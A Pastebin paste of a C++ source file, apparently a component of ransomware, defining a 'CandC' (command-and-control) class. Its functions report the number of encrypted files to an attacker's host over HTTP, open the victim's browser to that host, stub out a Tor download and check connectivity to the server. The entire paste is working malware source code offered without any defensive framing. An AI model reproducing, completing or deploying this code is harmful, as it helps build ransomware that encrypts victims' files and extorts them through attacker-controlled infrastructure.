Advertisement
FlyFar

source/after_day.cpp

Sep 2nd, 2023
823
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.03 KB | Cybersecurity | 0 0
  1. #include <curl/curl.h>
  2. #include "after_day.h"
  3.  
  4. using namespace std;
  5.  
  6. int CandC::openReward(void){
  7.     std::string url_host = HOST;
  8.     std::string complet_url = url_host;
  9.     char *complet = (char*) complet_url.c_str();
  10.     #if defined(WIN32)
  11.     ShellExecute(NULL, "open", complet, NULL, NULL, SW_SHOWNORMAL);
  12.     #else
  13.     std::string browser_cmd = "x-www-browser "+complet_url;
  14.     char *browser_cmd_chared = (char*) browser_cmd.c_str();
  15.     system(browser_cmd_chared);
  16.     #endif
  17.     return 0;
  18. }
  19.  
  20. int CandC::hello(void)
  21. {
  22.     //cout << "hello" << endl;
  23.     return 0;
  24. }
  25.  
  26. #if defined(WIN32)
  27. int CandC::download_tor(void)
  28. {
  29.     return 0;
  30. }
  31. #endif
  32.  
  33. static size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
  34. {
  35.     ((std::string*)userp)->append((char*)contents, size * nmemb);
  36.         return size * nmemb;
  37. }
  38.  
  39. int CandC::insert_target(void){
  40.     string nb_file = this->nb_file;
  41.     //cout << "Encrypted file : " << nb_file << endl;
  42.     string url_host = HOST;
  43.     string url_path = PATH;
  44.     string complet_url = url_host + url_path + "?insert=1&nb_file=" + nb_file;
  45.     //cout << "complet url: " << complet_url << endl;
  46.     char *url;
  47.     url = (char*) complet_url.c_str();
  48.     //cout << "complet url2: " << url << endl;
  49.     CURL *curl;
  50.     CURLcode res;
  51.     curl = curl_easy_init();
  52.     if(curl)
  53.     {
  54.     curl_easy_setopt(curl, CURLOPT_URL, url);
  55.     res = curl_easy_perform(curl);
  56.     curl_easy_cleanup(curl);
  57.     if(res == 0)
  58.     {
  59.         //cout << "Send to C&C" << endl;
  60.     }
  61.     }
  62.     return 0;
  63. }
  64.  
  65. int CandC::checkifconnected(void){
  66.     if(__TOR_USED__ == 0){
  67.     CURL *curl;
  68.     CURLcode res;
  69.     char *url = HOST;
  70.     string content;
  71.     curl = curl_easy_init();
  72.     if(curl){
  73.         //cout << "Curl ok" << endl;
  74.         curl_easy_setopt(curl, CURLOPT_URL, url);
  75.         curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
  76.         curl_easy_setopt(curl, CURLOPT_WRITEDATA, content);
  77.         res = curl_easy_perform(curl);
  78.         curl_easy_cleanup(curl);
  79.         if(res == 0){
  80.         return 0;
  81.         }
  82.     }
  83.     }
  84.     return 1;
  85. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement